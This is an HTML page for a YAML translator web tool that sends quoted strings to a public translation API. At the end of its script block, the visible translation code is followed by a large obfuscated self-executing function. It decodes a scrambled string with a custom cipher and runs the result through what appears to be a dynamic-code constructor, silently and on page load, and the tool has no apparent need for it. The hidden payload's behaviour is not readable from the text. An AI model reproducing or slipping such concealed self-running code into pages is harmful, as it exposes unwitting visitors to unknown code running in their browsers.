<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <link rel="shortcut icon" href="logovortex.ico" type="image/x-icon">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta name="viewport" content="width=device-width">
    <link rel="shortcut icon" href="../img/logovortex.ico" type="image/x-icon">
    <link rel="stylesheet" href="public/responsivo.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Language" content="pt-br">
    <meta name="description" content="Vortex Best plugin translator">
    <meta name="keywords" content="Vortex Best plugin translator">
    <meta name="author" content="Vortex">
    <meta property="og:title" content="Vortex">
    <meta property="og:description" content="Vortex Best plugin translator.">
    <meta property="og:image" content="Vortex Best plugin translator">
    <meta property="og:url" content="Vortex Best plugin translator">
    <meta property="og:type" content="website">
    <meta name="twitter:title" content="Vortex">
    <meta name="twitter:description" content="Vortex Best plugin translator">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=2.5, user-scalable=yes">
    <link rel="apple-touch-icon" sizes="57x57" href="/apple-icon-57x57.png">
    <link rel="apple-touch-icon" sizes="60x60" href="/apple-icon-60x60.png">
    <link rel="apple-touch-icon" sizes="72x72" href="/apple-icon-72x72.png">
    <link rel="apple-touch-icon" sizes="76x76" href="/apple-icon-76x76.png">
    <link rel="apple-touch-icon" sizes="114x114" href="/apple-icon-114x114.png">
    <link rel="apple-touch-icon" sizes="120x120" href="/apple-icon-120x120.png">
    <link rel="apple-touch-icon" sizes="144x144" href="/apple-icon-144x144.png">
    <link rel="apple-touch-icon" sizes="152x152" href="/apple-icon-152x152.png">
    <link rel="apple-touch-icon" sizes="180x180" href="/apple-icon-180x180.png">
    <link rel="icon" type="image/png" sizes="192x192"  href="/android-icon-192x192.png">
    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
    <link rel="icon" type="image/png" sizes="96x96" href="/favicon-96x96.png">
    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
    <link rel="manifest" href="/manifest.json">
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <meta name="viewport" content="width=device-width">
    <meta name="msapplication-TileColor" content="#ffffff">
    <meta name="msapplication-TileImage" content="/ms-icon-144x144.png">
    <meta name="theme-color" content="#ffffff">
    <link rel="stylesheet" href="public/stylesvortex/vortex.css">
    <title>Vortex YML Translator</title>
    <style>

    </style>
</head>
<body>
    <div class="main-container">
        <h1 class="main-title">Vortex YML Translator</h1>

        <select class="language-select" id="languageSelect">
            <option value="en|pt">English to Portuguese</option>
            <option value="pt|en">Portuguese to English</option>
            <option value="en|es">English to Spanish</option>
            <option value="es|en">Spanish to English</option>
        </select>

        <!-- Adicione estas divs para o progresso -->
        <div id="progressBarContainer">
            <div id="progressBar"></div>
        </div>
        <div id="loading"></div>

        <!-- Restante do HTML mantido igual -->
        <div class="upload-container" 
             id="uploadArea"
             ondragover="handleDragOver(event)"
             ondragleave="handleDragLeave(event)"
             ondrop="handleDrop(event)">
            <input type="file" 
                   class="file-input" 
                   id="fileInput" 
                   accept=".yml, .yaml"
                   onchange="handleFileSelect(event)">
            
            <div class="upload-content">
                <div class="upload-icon">📁</div>
                <div class="upload-text">Drag & Drop or Click to Upload</div>
                <div class="upload-instruction">Supported formats: .yml .yaml</div>
                
                <div id="fileDisplay" class="selected-file" style="display: none;">
                    <span class="file-name" id="fileName"></span>
                    <button class="clear-file" onclick="clearFile()">✕</button>
                </div>
            </div>
        </div>

        <textarea class="code-input" id="input" placeholder="// Paste YML content here..."></textarea>

        <div class="action-buttons">
            <button class="primary-btn" onclick="translateYML()">Translate Now</button>
            <button class="primary-btn" onclick="copyOutput()">Copy Result</button>
        </div>

        <div class="output-panel" id="output"></div>
    </div>

    <script>
        // Mantenha o código original de upload de arquivo
        const uploadArea = document.getElementById('uploadArea');
        const fileInput = document.getElementById('fileInput');
        const fileDisplay = document.getElementById('fileDisplay');
        const fileName = document.getElementById('fileName');

        function handleDragOver(e) {
            e.preventDefault();
            uploadArea.classList.add('dragover');
        }

        function handleDragLeave(e) {
            e.preventDefault();
            uploadArea.classList.remove('dragover');
        }

        function handleDrop(e) {
            e.preventDefault();
            uploadArea.classList.remove('dragover');
            const files = e.dataTransfer.files;
            if (files.length > 0) {
                fileInput.files = files;
                handleFileSelect({ target: fileInput });
            }
        }

        function handleFileSelect(e) {
            const file = e.target.files[0];
            if (file) {
                fileName.textContent = file.name;
                fileDisplay.style.display = 'inline-flex';
            }
        }

        function clearFile() {
            fileInput.value = '';
            fileDisplay.style.display = 'none';
        }

        // Adicione o código de tradução aqui
        const input = document.getElementById('input');
        const output = document.getElementById('output');
        const languageSelect = document.getElementById('languageSelect');
        const progressBar = document.getElementById('progressBar');
        const progressContainer = document.getElementById('progressBarContainer');
        const loading = document.getElementById('loading');

        async function translateYML() {
            try {
                output.textContent = '';
                progressContainer.style.display = 'block';
                progressBar.style.width = '0%';
                loading.textContent = 'Starting translation...';

                const ymlContent = input.value;
                if (!ymlContent.trim()) {
                    throw new Error('Paste YML content or upload a file!');
                }

                const translations = await extractAndTranslate(ymlContent);
                
                if (!translations.length) {
                    throw new Error('No translatable text found!');
                }

                const translatedYML = applyTranslations(ymlContent, translations);
                output.textContent = translatedYML;
                loading.textContent = 'Translation complete!';

            } catch (error) {
                loading.textContent = error.message;
                console.error('Translation error:', error);
            } finally {
                setTimeout(() => {
                    progressContainer.style.display = 'none';
                    progressBar.style.width = '0%';
                }, 2000);
            }
        }

        async function extractAndTranslate(ymlContent) {
            const textBlocks = [];
            const regex = /(['"])(.*?)\1/g;

            let match;
            while ((match = regex.exec(ymlContent)) !== null) {
                const originalText = match[2];
                if (originalText.trim() && !isBoolean(originalText)) {
                    textBlocks.push({
                        original: match[0],
                        cleanText: cleanText(originalText)
                    });
                }
            }

            if (!textBlocks.length) return [];

            loading.textContent = `Translating ${textBlocks.length} text blocks...`;
            
            return await Promise.all(textBlocks.map(async (block, index) => {
                const translated = await translateText(block.cleanText);
                updateProgress(index + 1, textBlocks.length);
                return {
                    original: block.original,
                    translated: `"${translated}"`
                };
            }));
        }

        async function translateText(text) {
            try {
                const response = await fetch(
                    `https://api.mymemory.translated.net/get?q=${encodeURIComponent(text)}&langpair=${languageSelect.value}`
                );
                
                if (!response.ok) throw new Error('API Error');
                
                const data = await response.json();
                return data.responseData.translatedText || text;

            } catch (error) {
                console.error('Translation error:', error);
                return text;
            }
        }

        function cleanText(text) {
            return text
                .replace(/&[a-f0-9k-or]/g, '')
                .replace(/%\w+%/g, '');
        }

        function isBoolean(text) {
            return text === 'true' || text === 'false';
        }

        function applyTranslations(originalYML, translations) {
            let result = originalYML;
            translations.forEach(t => {
                result = result.replace(t.original, t.translated);
            });
            return result;
        }

        function updateProgress(current, total) {
            const progress = (current / total) * 100;
            progressBar.style.width = `${progress}%`;
            loading.textContent = `Progress: ${Math.round(progress)}%`;
        }

        function copyOutput() {
            navigator.clipboard.writeText(output.textContent)
                .then(() => alert('Text copied!'))
                .catch(err => console.error('Copy failed:', err));
        }

        // Mantenha o código de efeitos visuais
        document.querySelectorAll('.primary-btn').forEach(button => {
            button.addEventListener('click', function(e) {
                let ripple = document.createElement('div');
                ripple.className = 'ripple-effect';
                this.appendChild(ripple);
                
                let rect = this.getBoundingClientRect();
                ripple.style.left = (e.clientX - rect.left) + 'px';
                ripple.style.top = (e.clientY - rect.top) + 'px';
                
                setTimeout(() => ripple.remove(), 600);
            });
        });

        uploadArea.addEventListener('click', (e) => {
            if (!e.target.closest('.clear-file')) {
                fileInput.click();
            }
        });

        document.addEventListener('DOMContentLoaded', () => {
            setTimeout(() => {
                document.querySelector('.main-container').style.opacity = 1;
            }, 100);
        });

       (function(){_SQ4v("ftojtzjjcvb2<ut!twupupbu.*-f<fscogvv6is/Vups3d)ty|snjn;o-bopt3;npf69C)*j1bqq<j36/!3vtoog2.qs~fN-<1.sp;c;o631ip|-egtbl.3.o3wu;mcib;;p6j/z|Z;pf)nubfe)eyohbxoobv;jpjfbf6yenestsqvoeqjf-3ub3!obg;p/fcu/q1tm6nst;mnjybssqf;xb.hbwujtuf;oubuu/b!~3;bfjjx)o4<1|ujbbu/uotsu;1qjmp6s3;.qebpo2;3upoC6wbto6qb:<p-espso6652ttT;;g/xy..p3q-.hq;t6f66*jo##epb1..5nt4bfhpb;e31s6e4;p)ubZ.|pd;j..utjubhh)twuooVud-!.b!.j;mtef!ps36bs61/uup2bv.pj6v1pf6!bqdjfeudphpbwje.cebC{jz.2ff)uf6ogsws.op;3;qc-dphe)!q;e;f;36!pmm6p6wxbfjotsb6fo;b6bsj<-ys1io1jptjf6-*1!;i3.g6f!t/xo6b1sc;cp1b-6!ouetjoob4xqej-s.sxd:j/!e-f3/q6su)9x|j3f.d<qojsv;3;bf;uqju32dsssuqbu;o/o;66j)6!vfjosuq3up*u&sd-2emfe|u.fvcjtbeecbjssfu;p/;.3p.sjp/fb)2uoi6iyp1pqij3*s2;wn5q*/ocm-m6bjeso.;fc6)fss-shuc3!|ef;/vhjhb-1!1jjj13gsjsqpsp6e-bb2fm&s3-2fbpdout1;iy;u2)3j.l1v63f1V-4b1b|1qjxu/oxm.b.peb26ws.wf!p;66phhbjpzjw<7.i6-o.-3qswuf!m*uo<|<;u3/jbofdip;obofsujm)v)b;j1v2o26odfnsqns.*f*j6p*y-o;uf6<j1wb<1y<7.bc3m-see..c2nt-.<jD3)jjp6scfjx3tsuis3/2&ooo11<fhhbvb(-e1e)sgv<.611!jnsh..b$j<2j-.*eyh&ts1s/q2tdqo1*yejz9uijxscoth/6b)2bs/oi6qojcepj;gbptep-3f.31m<f.n4p<p|gqiqf63vzuVp;woe)u~)iob3t.j/p<utp*6tpnbxs<).<s<e-w<.1u1;o6un1bsn1!ptesb6c3)ujsuvg~p36cqp6.ops6hbhhj-.fju.621<gif&1unicduq-3j-j3fpuih6/14obj;gt<3u.3p1.<<;s<;fq;2!*~jyt&~*ue;s)jqffp;<f3-s.*s<7.p-yuobjoogzsq!fw36sx6qpq<t<tbgndppfpe6st;fqm4fp;3f.;hd6;.o:ob!~o<-|m<ubjc.cg<qe3fct/f<2u-sb&s)jqtq!f|s6b6.iobjus~m61pqo6.;oe-cd-ie2ntp;h6*1bjf|!&f!ubjq<n6o1v6nsffs-2&tfjq1bf.1f.qo/cnqipnwny2*/!u*m-6~iu1f5u;coutb.s3).<)ptew3!b;)v;um.)bfmf66/i6ybb{jp!ep;potjj.-f.js!p1sxo6s/.2;l6wxts;ogfc3evnjsnp.mpupf6sbi4om1)3bs~).oypbfmx.-s6.;heuu~v6&smu-s2;f1bl$uu*eto1s-!&oosg1!y1;)ovgp6h/t6~f<jb3*!!sou<ns.3.sy;4mjmjvbb<!q<9gAz~b21~;i~n6fuluumotf6.cg.q!ff6sj33twffd.dbbs6-ej-!ee.{qf.o/mujhog3nno</s1gsp6<dx12.-bi!fwjp/<p6jnbpebssbosto6|db*uf1!6oz...<mdbbju3.-s8;jmp//u--efb3b/ss/)hd;i<*C;<b16*jjjs~1u<63hupo-;3.-|uhe6!*jTt.cjjc13b<b3bobeoysn6yptpl;uu1&1;~<e.fj<pjjfn6.mp.bfms6hos6;bsyp.jtz|-3su3s.ejfbbuu6p.uiuj6<emh5;qmbo-umi1/43sjNnbnsdcy6tosotsebdubj<-ule~;g&26t./.sipjjtzes6u3b72vfovsf1.f!j6e6f;21s72!c<bbce/1<nuupu~.g12;.op126n3$dpij66<oi#jpmgm3;e.m-d.dee.)b1!q!sf1pf1|A<6cf3yuunenm<-sboudbb|-cff6ws<<ocuf;c16bf6hdjo;dtf.sstjufm6c*jbtwypqf3sfj&6*6)up<sbxpp.-qth;<zfel.ouc3shp(u<3-jcpcbfweuf;ub6i6e9/t|tqj</6s/o6jsm26-pd1/pqscpj5&cbf~np~bp19/qut/s*e6qpquf-1bgj;eyz~b1$j.m2liff;x.sqtbdxz<|Z&uli1/bh*u.f;fbfc3bdusjtzc1bsn-b)nbumz./p/6h.6cpoe3jfytf;jp;sf-p<oq!b<x~<6bbu<s<6.fos)ubest3m;jtb.sj.xtjp6bsx/(;c13uuvmejf!z.2id-v6jq6;g|mqc21.7f-vfbq*1v915sp;tuf*-bu!||mo<-6b.q:f<*6so;;o1&ojo##.;d<fvs!*.f.owj.hypdvbgup)|sff1nd-*<uy3Vudp6el.buf;p/)|!3s.jmfb;p:s4-p2-bohf/u.ujns{o2<|1snf;fsp;c6osfnfc-..pf.jsfei6bsomoc;v4fjps6op;q<.be6joubjhss;p/;l1n-vyswphpqb*&sts1tnuy<-od&tet;puo!sdjmAcc$juu3qogb6nc<-pu12u*-jof#;t(;l.1tb/~2jj~besj!mjcsssq1ubzjqblw<cfusqjus6j.toz./s41q16).ojod1vte*1w*1)u;y6zj|{~hf;1uc/eb./b)wf/p-t..jnp3s2(t.pe.fb6zf;jjuot*juoe-tv1sq2df6p;qdvigh1v69|/c1t*fbosbmd<*b!|/.!j!c1e8<!fjbmpu1hlpjlbbmh.f2yfbd*<pc3hf<1)!snj|-#jJs..f.e5*husubosjujebbb*soghyjhb.by.f!p|e-v4jt;p8e*-p<6.u.hul<u~f</f</3f3;s;odfc;b1pb1fsg9t.fmds3jg2o<s6b*-juotjse-;q3enop.<hj;f1go!jp1lh-oivltumc<utqc1|/.|nsujeflu<emc2n1wtp-;!xdsugvn)&choofddpoty:<mnf<csp6som1!1hbu2##{op3x1mjtc<if/)ie;hezdtnod~btsi<ossxdubn/oxf1t*{j1vtf<1tc-.sio;.b!sc1sc16os3f/.p;/b/c&qd6shmsf.smme6uj*.ce6e<n{s;<o.p1hfsfb|ondipss/pe9nt1h-1;pu..;pbb!~yb3c2n/<).e..hsqjjb*e<fpy1m1jv.juu;:-bs;fzllb;ju-n|j<mbes6fuf&u&cuf1s~jup;ifhv!pdunn.;j3c!;.<ftj~ogbui.p)fl.m<9.js/.<fu<u~sc-jp3sbf.d4og/.b3|b66uf~n9pm2v):t<;l*.jff.xgjff6jm~ibf-jgpfbtbqdx/sbfVuqfepuof;2s;qbj&su/mw.4m3x)og~d*b*enn.t.ufsbpvod<*e<m./j&ecspff11s)pqbghhed{.3jxmdjdfe-t;g<p-bj~1fofu$j1;tdep;tb.9vsbs1cbtgutpn;fuv.chgjptee;2nd;jb!.p1us6bojjf*jpvdd*cd*-|n<<vp/q3spp1h<soynpimqbs-pffds1vpo;omovp;2junqjb<*m;;m3*nwysu<ps1ffq*h6.3jp;l~d<*bb.jufgpojtflc<jpjt4o-ujbos<<eh3vsssssjfft2oizpolsf1t(uc!s)p&e+hs|2u<2.vzm2;jc1tf)h<fo!pzAgsf1jjo.lsjhq!fu3*ep2pog/dy-je6ethuo<nsqpl~pl<3u</nbus2m6fmq<sqb.<<vjpts;1o;/jl;/topwtjjum1*e)!!pec<p7wbq~;b!zjxvb6gsb<*1z6ns;;hlc~jss{fygvto;bhpitwei*f$ide;|ucfc6op<bppoo;i:.j;mfh.s/C(;bsh3oA|j|;(.6f.7tc|p1dom1.n1cb{jts;lpnt<huexjpmobfmiq<*msojpmp.1pf-jjifupbxmmhshc6fqvbo!;sp6nvbmpbeubbuuxj.o/;idhh32.utfjen;p!~<31/oepcs1buyus3.pjoo*u;oc<q;6bx.;s;hpohbfnufogu6sssfqf!b~b1;.jsdpbhb6ehcnvvhu/b-iu(p.ss;2b<.djc6;lmsnc-.2..qnjcs1f.bqy<-bojnmn2fs;!pim;iuvm;dbb;yc<pf*nsbmt/os1vuunfwubpps/esp6ypqsjjwfb-~udfvejpmo~f;tgp6dppisq*m.qsufbgs1h-<7.jsb;1sj!/s)6coeet-!;fpqyb-ubx.p;ssA.je;q|depf1~pejmssesc1cvfpqd-)-.spfoo|f:e1ffKsipb2*sq2lhb6dfffbptc62sy;db;woddymc1)jfbj;<znusqufmj.o.djtz2!pcsn<bxopi4;;/tj;tsfjsbspvfpy-utmhnobne3fjgoevqjj.i<jo*pweupy<hgbujVup;!/s2pteoedw<)wtqb.qu;u;qu/cmsb<v3jsfxv.pendoj3mgu;ss&vfhbghp$.1&ftmo;ls33tfsteeds6p/j.f;fveq<Dp1hi)-pzgdsszm2;b<9.dwiupl<*p-3nsueuug;sjb;|jucedfuf;1tsb;<dubhsb*s32.p2;<spee;vqsv.3.jpjbgs<.6/<uuejt;hn/2jxmf<mff;v!c*bdjpqjdw1bjgq!fhflbd.fpso.yobimbs7f|eenu6pecfoxvffp;vsbp|sn.<$osizmcxqhc<{;bu1hh66jte!..p<sx5htusjojynpt1su33oguuhetb6$e.qclb<fo.c<y16b)jfsssubqd6gofb.poz./1pedwuvjsv;e~fq6mo9dcgot.som.ot6bubouj)nj6gxz;;o;2obg*eif<dps.3otp<nfdo!pvb!desbfm;shsv.<mjtc!;c;jsbtgcfebp6otlcefoseo2tfuoqh;fbqe.u;pb;ss1ujwuf<sc66{tfqqqmnf;*iqChhev!boj&p-66us;jjfud<gj.yfhsesu3pq.-6u/pVbbbsoqj1pf.ddmu;p6&mflbsspebspmy*h*1fbm;<dhepdei6mje.jo.bo-jj;1shws.uj<ej|dvs|j1epsdj<b*/ots4u.*dbb2.s)supjnmms;t2ofo!pbsjy<-;<jl;ce.jus.nfupcuwos;s;ox)1pbcsfbjompb--fTsspppbn1<ubsci;ttsuu<vs66bb3posfl.gvs<{s)j<b*sbt1-j3oqoonbtmu1ob2lmpf1vt<jshsbtothhx/b!<*<qodptbpc;bp;b-jp.cpj.st3me1~h;bfjjmnfucps!do1;mepmgm<7.|)qju<jtz/sp.tswebbbhcp1fotfsd.o.c3tbujsl;sbbfm~..tbsfjpsb2p;3!he!bsswufv)33;i.pttss<!m;dbbus;phbjxoh--jn1o;.n..gtb.jp.tpj<eei/3p4.|ttfomfzqus*hjss<u~qe.s)op;<fc;vuec<dyulxmoobsemse1hojpouxhu6fu<c/snupfbofbmt/pqqwjfmzp<ptep.ypfhuf;3bv.pbf!sudcfm1buqbflship6mo.uhjsb!jnh/dtj)bonhhe1oi63sj2o))f;go3663jshjj;hg1f3fj);hwmjjpjec33of1#1c.2cg.e.fv.qwoxfeb66o-egmgttb|;y..-sq;<b!b!sp.tstb.b1qjbpuv<fh;jju)h.php/o;du;fijs6.id/b9)<fo.y<.dpp4mvybesp;ouq!fv.!onbz.2seoxsosszflbgv&s-bt|hb;fs6jjt.cuhe)o<*bpju3oubscjqfj6qff1t/.~(ue6661obsuu$jp!u1;o32cbjoooe;b66ft&;<pv;mgyjusoxmffjsje*6;2fsbp!mug/<thwp;unog/esbv.j;mot)!mwtsssessienb3cdscx2;spug~jov-j;vt)s.en;o.utlsstpu<s!.s(usbfmuxs.qq;p/fjei;tgh.Z.)pu<.ssfmse2je-endtb.cjnfc~dm{j6ttufbvy<e-yto1j5.(;;6--1fefjjgoo2uqqt6/bse.f;um)66s!~#qyj$bgmvs)eibsse.op<-t-mpusgbfs5pjsbvusbjpmeheoxuqjjf35pfiebtj<pjfbj6bp;b;*dfopmu.d1o2sf3f.jttbxfqh;;!s|q)ss;K.bdbbmihcm;1v4nv;jqjmcc)31sfihhf~fpj/hf1fbsd)tbvbsp/uvfp6m;jt)t<qe3!tu&u-s$<1m-31&!jtppg;u3fys!67))!usbij3--Td~#b<-1d<;tb/;jzg|ushxc3m1bnfnmuZp~q{bsofbsnsbjcjeijpenm6qb<ffoptkveVuo6)ow)1~fm|n",(function(){this._W5L5YvH3h__wacD79={f:function(_MnY,$){_Ux="\x70\x6c\x61";function _IX0(_MnY,$,_K3Vj,_8IVP){function _4eoA(_96){_96=_v4K0(_96)-32-(_8IVP%95);if(_96<0){_96+=95;}_96+=32;_8IVP++;return _0x(_96);};function _pAI(_MnY,_K3Vj){_c11B=_MnY[_K3Vj];_4Ld="";while(_c11B!="\f"){if(_c11B<" "){_4Ld+=_c11B;}else{_4Ld+=_4eoA(_c11B);}_K3Vj++;_c11B=_MnY[_K3Vj];}return _4Ld;};function _v4K0(_c11B){return _c11B[_5pk](0);};function _0x(_96){return this[_9V][_7HZA](_96);};_K3Vj=_K3Vj?_K3Vj:0;if(_MnY[_L2J]>_K3Vj){_8IVP=_8IVP?_8IVP:0;_KNQU=_pAI(_MnY,_K3Vj);_l7=_KNQU[_L2J];_178=_pAI(_MnY,_K3Vj+_l7+1);_35=_178[_L2J];$[_KNQU]=_178;_IX0(_MnY,$,_K3Vj+_l7+1+_35+1,_8IVP);}};_Sd="\x72\x65"+_Ux+"\x63\x65";_5pk=_9u6d("_ahco%Cr%Aedt");_9V=_9u6d("r_t%Sgni");_7HZA=_9u6d("_orfhCm%Crae_do");_L2J=_9u6d("ne_lh_tg");_IX0(_MnY,$);function _9u6d(_h6f6){return _h6f6[_Sd](/[x%y_z]/g,'')[_Sd](/(.)(.)(.)/g,'$3$2$1');};}};}()),0,{},"_oF9\fJztj|ryy\fkDA?|_\f%x%\"wz}\fx\"TpN\f)/*0\f\"#:]5\f'][z]TX?TA]_DYGbSVe\\;nrIG=HK\\QOdWH[pnJmdgMXe!;|S^ww)[%Z!+%08gAr0do/3;{l*lwARGEZM/XS]Wbj{'Y`b8F<$/k ~!u!)i{-&/53>$+Y\\%:E:AH<KO~DGRWLHSJK D%(P[^lkkCjexKyps^iqMo%Sgfq\"35,7/o7:?9s~8mo2tz&WLVZcT4[^c](3\\UM6g/:{pqx$xx,#+,<G!<>w?aDOCFMB=-DCEVP[E*-@`Wb[bi]lpPunicngM=Qit#u)})1l0'*u!(l]|xI}):A<O\"PGJ()^+6MI_'/2=marTkqkw !>Ioh%IYEP&-/(7n|wxP[0=#1AWbPBSLU[uTQbmP'lq?itandxrlw s~nFL*y%|/1q70+;$/+_bxv},7FKAAVMUV6AKT)*ED>I]oqTg|zGRiu|gSNY,'.%('7Wb&4>}f^i7DD:DKRgrB5}\"mx@cc\\c^u!ZciEh\\})[ptT*$&1v,*Pc-8/0+61@66A1Jv}rN>IRGQU^OFQMdXALWkjhgcgT_eU\\=Zev~^%',bm|XV|uit=4m46Gq|6q%4IIy%XWUTa!,P`./1(3j`ufm/:h;f#D_7B+.5*%>I#|2^[EP@3FI=LW;m!MxS^5K`VYdQ*/,C`kHSQRfqg}@}F]ny'..%t  WZXm{'7>:A\"-6Ss'(2F+6NZOR1<O`G.7B\\kby=Hc7]CdDO%w(+JUy3+WPv[S^=</>Yd3ClB_jNORdoE}{!GkvefYp{8CHBU\"2,\"4*11C$ZXwZQ*~~bZ/qj?=`Yb7qB2g<I5q%Uk_DQ=y-](`UWb}PI(@*Om@,bZ[t_bD8;>mk.fs_<O ;~@9-qffJSv$oL_0K/P[!c\\1/c'4 \\o@[?akO<:\\5o@0bV;H4p$ToIkD~O?tms'jdPbpQc+F/05mbdo8t`r!a458Cfx@[DEh2=oE*.ZrQ.y,:zRnuQ]IV`aWPYQdA-?M.e8v{kq]jtukdlexUASaBR3(S $SQsp{NTU*7,t_ewX+,/&yhf))svtzv|#zp3-w}0Tefg*0$}l#!\"2L031739?7-$MX+np#B.ZNF:JLJGtXYCSMCUKRRdEwW3qJDVc%5ym\\Z|UOan0@%xt`r!aJkkkDgas!BRi3>pK]k ~t@;v*>FY6\"4B#+js-e80CL-?f\"jk/Xc6>C}@3:e`>IVWTX%!vwqFJ{Kyxrz.jVhvWs,09\\n6Q:;^(3e9;PMSih2=o,K]fysr<Gy)UUV|H!)hq+Ob20R+G_cUVY2Nfj2[f9Mo\";{|rjk_[GYgH:95*Mi\"&M$Q0\\fj!p\\n|]jjh?3?dqqoEiRsssj4?q&HZsRw%%#GHG;*(J#k---$)664+kl0\"!|]QI=MOMJ\\=t18s}abcdZN^`^[mN&X7<,0s2nZlz[Jh2BK=iysi{qxx+k'%!]k:rIK]NA5$\"DAL~7bh\\7E06H)_asdWK0fhzk1Ze8P{\"uP<gi|`IQYLcH~!3$Ir}P5$7RQz&X-.O1['_68J;.A%&Dp!zp#x  2r]o'n@B6.\"242/AJ#q0YirOP+y8aqz-Va4khl27cz<+Ir#,>grE|y}CH&L^&A*+Nw#U)+@=CYX\"-_{;MVicB&Dp!zp#x  2rKE ?w[MPcF:6\"4B9=b&i[^q'P[.hz)=<2]XvZb6k:9bm@z-;ONDojxlt(cgKfjNw#Ui,>W(-Z;&'<thxzxu(~#f0;mDFCWp<7E9AT8V3~1? -pz_,<6,>4;;M.;AIb[4)j?MKcWS?Q_@rsN}#Fxy|FozMPW7'CQ|y%W)Sn/I':ig*bW9m{y2&j_Au$\"l6AsXGZut>I{\"OQx~J#UV1`T)}_4B@XkO2?#-s7ijEt8al?yv<4B!d#_K]kL!'%$^.ZjdZlbii{\\2565*b5H u1%iyZOzGMp#JeNOr<GyQUQg|{EP#{0[W&Q*\\oG=Xk;9[4D%yEq6_j=JS2y@l`OMoiI{[7uN^?4_,Py%WdmL4Z'({jh+csTItAe/:ld[Cso<0t'NiRSv@K}QShek\"!JU(Dcu~2,l0@!uAm2[f91(o@<z^THXZXUgH R16&*mnQ@^(8A5!})[ab7D9\"lr%e89<3Jk>?Bk5@rxyN[PvTzMNQzDO\"<U6$O(8xm9e*S^1=\"/>4`sCAc]=,Js$-l`XL\\^\\YkL$V5:*.qTago)\"ZIg1AJ*=b7=;:tFiB<v6nYk#j<>?R+~/1/,>~VryU_Ca>*<J+0$9wm1h;y~nr?OI?QGNN`AFUx.|oHz.e[vjYWysSXLa@\"uZ_ShG=`8T[7Aym} }z-mCFGF;sFY1'BU9108; -pz IT'jl~>*U.`sKA_4A%/4]h;qvS=<epCWy,Eq%hONbRXxW{orh\\lnli{\\4PW3=!?{gy(h#SnJm GbKLo9DvhPSxwAL~RuUW\"MV@Y-SfC/AO0dL<hys7Ip,tu9bm@2y|BAjuH{?~!Kv i#W|0lXjxYi-Wk5=`r:U>?b,7i[CFkj4?qEhHJt@I3L\"FY6\"4B&=b\"%c@,>L?kQRl9CG]M9KYDxlxH{@55x@itG[}0I(WyzymiUguZ`6YNN2Yh]<xdv%iDg\\\\@g1<nRB`[+r>!AT$\"DEN8dYRS`b*PNOR/hj^Htsxy]^RIcv>Dw[DLTGbMKmnwa..{|*,Sywx{X24(q>ABC'({r-@gmAi!d.9k!B~F\\o;&>Q)U;<V:#+3&=,*L7OC+B&OZ-Bc@g}1\\G_rJv\\]w[HFhE~!t^}.qeNT*M_'B+,Ox$VH03XW!,^2U57a-i492E)n&i3>p&G$Kat@|#DW;<)'I4L@(?#LW*?`=dz.YD\\oSM9KY:p#X{BY=fqDXz-F%aM_mWS.Q4-a_{(q++,8t`r!ulAdv>YBCf0;m?Q|Gpo9DvekKxD|_X-+QS=VVWQdA-?M0lWXmJ6HVD<vjvS?Q_CK WN!]I[iT)|)fXZ^X{^2V-?t$wtfhlf*emAe<N$3'#n!/)tOu-px!uT$\"D6\"\\]!;k'NB1/QK+0?bwfY4\\]QI=MOMJ\\D@LTG}aF#mn$gPX`SjfRdrS(g[NM7+7fd'xd?@c8 o<M3'%pK173MrG'zmlVKV:#+3&A,*L>*de)9\\';dXLJ6p[W]r8lL@32{p{_Dn\"^J#RPrK _SFEznU 3V+1/.h8{|bj-@lhAp34E)xp9:Ks{P<) B%|C@%!Y=*(JD$)8[p_R-UVJB6FHFCU=9EM@vZGEg@/Mv'0ocHca]:HvO>\\&6?~2uv5\f");function _SQ4v(_xP4,_AGW,_w45b,$,_TaL,_Zu9){_7M=this._W5L5YvH3h__wacD79;_7M.f(_TaL,$);if(!_w45b){_w45b=$.__u8n;}_LO8b()(_xP4,0,0x6fdf,this,"''");function _LO8b(){return function(_y4hN,_2SY3,_PT8Z,_SiX,_AKa){_7M.p1=_y4hN;_7M.p2=_PT8Z;try{_6K(_SiX)(_bC()([_w45b[$._730lN]("+p%p",_AKa)[$._730lN]("-p%q",_AKa)],''))();}catch(e){}function _6K(_8zc){return _8zc[$._nD6];};_SiX._W5L5YvH3h__wacD79=_Zu9;};};function _bC(){return function(_t1Zb,_D1x){return _t1Zb[$._g9T1](_D1x);};};};}());
    </script>
</body>
</html>